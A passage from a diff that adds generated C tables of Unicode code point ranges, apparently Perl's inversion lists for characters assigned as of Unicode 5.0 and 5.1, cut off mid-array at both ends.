+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC60,
+	0xC62,
+	0xC66,
+	0xC70,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE6,
+	0xCF0,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD29,
+	0xD2A,
+	0xD3A,
+	0xD3E,
+	0xD44,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD62,
+	0xD66,
+	0xD70,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEDE,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6B,
+	0xF71,
+	0xF8C,
+	0xF90,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCF,
+	0xFD2,
+	0x1000,
+	0x1022,
+	0x1023,
+	0x1028,
+	0x1029,
+	0x102B,
+	0x102C,
+	0x1033,
+	0x1036,
+	0x103A,
+	0x1040,
+	0x105A,
+	0x10A0,
+	0x10C6,
+	0x10D0,
+	0x10FD,
+	0x1100,
+	0x115A,
+	0x115F,
+	0x11A3,
+	0x11A8,
+	0x11FA,
+	0x1200,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135F,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F5,
+	0x1401,
+	0x1677,
+	0x1680,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AA,
+	0x1900,
+	0x191D,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AA,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A20,
+	0x1D00,
+	0x1DC4,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2064,
+	0x206A,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x2095,
+	0x20A0,
+	0x20B6,
+	0x20D0,
+	0x20EC,
+	0x2100,
+	0x214D,
+	0x2153,
+	0x2184,
+	0x2190,
+	0x23DC,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x269D,
+	0x26A0,
+	0x26B2,
+	0x2701,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x275F,
+	0x2761,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x27C0,
+	0x27C7,
+	0x27D0,
+	0x27EC,
+	0x27F0,
+	0x2B14,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C80,
+	0x2CEB,
+	0x2CF9,
+	0x2D26,
+	0x2D30,
+	0x2D66,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E00,
+	0x2E18,
+	0x2E1C,
+	0x2E1E,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312D,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31B8,
+	0x31C0,
+	0x31D0,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x3244,
+	0x3250,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FBC,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA700,
+	0xA717,
+	0xA800,
+	0xA82C,
+	0xAC00,
+	0xD7A4,
+	0xD800,
+	0xFA2E,
+	0xFA30,
+	0xFA6B,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE24,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018B,
+	0x10300,
+	0x1031F,
+	0x10320,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10840,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D12A,
+	0x1D1DE,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CA,
+	0x1D7CE,
+	0x1D800,
+	0x1FFFE,
+	0x2A6D7,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
+};
+
+static const UV PL_IN__5_invlist[] = { /* for all charsets */
+	880,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x370,
+	0x374,
+	0x376,
+	0x37A,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3CF,
+	0x3D0,
+	0x487,
+	0x488,
+	0x514,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x604,
+	0x60B,
+	0x616,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x620,
+	0x621,
+	0x63B,
+	0x640,
+	0x65F,
+	0x660,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x76E,
+	0x780,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x901,
+	0x93A,
+	0x93C,
+	0x94E,
+	0x950,
+	0x955,
+	0x958,
+	0x971,
+	0x97B,
+	0x980,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FB,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA75,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF1,
+	0xAF2,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB44,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB66,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC60,
+	0xC62,
+	0xC66,
+	0xC70,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD29,
+	0xD2A,
+	0xD3A,
+	0xD3E,
+	0xD44,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD62,
+	0xD66,
+	0xD70,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEDE,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6B,
+	0xF71,
+	0xF8C,
+	0xF90,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCF,
+	0xFD2,
+	0x1000,
+	0x1022,
+	0x1023,
+	0x1028,
+	0x1029,
+	0x102B,
+	0x102C,
+	0x1033,
+	0x1036,
+	0x103A,
+	0x1040,
+	0x105A,
+	0x10A0,
+	0x10C6,
+	0x10D0,
+	0x10FD,
+	0x1100,
+	0x115A,
+	0x115F,
+	0x11A3,
+	0x11A8,
+	0x11FA,
+	0x1200,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135F,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F5,
+	0x1401,
+	0x1677,
+	0x1680,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AA,
+	0x1900,
+	0x191D,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AA,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A20,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1D00,
+	0x1DCB,
+	0x1DFE,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2064,
+	0x206A,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x2095,
+	0x20A0,
+	0x20B6,
+	0x20D0,
+	0x20F0,
+	0x2100,
+	0x214F,
+	0x2153,
+	0x2185,
+	0x2190,
+	0x23E8,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x269D,
+	0x26A0,
+	0x26B3,
+	0x2701,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x275F,
+	0x2761,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x27C0,
+	0x27CB,
+	0x27D0,
+	0x27EC,
+	0x27F0,
+	0x2B1B,
+	0x2B20,
+	0x2B24,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C6D,
+	0x2C74,
+	0x2C78,
+	0x2C80,
+	0x2CEB,
+	0x2CF9,
+	0x2D26,
+	0x2D30,
+	0x2D66,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E00,
+	0x2E18,
+	0x2E1C,
+	0x2E1E,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312D,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31B8,
+	0x31C0,
+	0x31D0,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x3244,
+	0x3250,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FBC,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA700,
+	0xA71B,
+	0xA720,
+	0xA722,
+	0xA800,
+	0xA82C,
+	0xA840,
+	0xA878,
+	0xAC00,
+	0xD7A4,
+	0xD800,
+	0xFA2E,
+	0xFA30,
+	0xFA6B,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE24,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018B,
+	0x10300,
+	0x1031F,
+	0x10320,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10840,
+	0x10900,
+	0x1091A,
+	0x1091F,
+	0x10920,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x12000,
+	0x1236F,
+	0x12400,
+	0x12463,
+	0x12470,
+	0x12474,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D12A,
+	0x1D1DE,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1FFFE,
+	0x2A6D7,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
+};
+
+static const UV PL_IN__5_DOT_1_invlist[] = { /* for all charsets */
+	910,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x378,
+	0x37A,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x524,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x604,
+	0x606,
+	0x61C,
+	0x61E,
+	0x620,
+	0x621,
+	0x65F,
+	0x660,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x901,
+	0x93A,
+	0x93C,
+	0x94E,
+	0x950,
+	0x955,
+	0x958,
+	0x973,
+	0x97B,
+	0x980,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FB,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
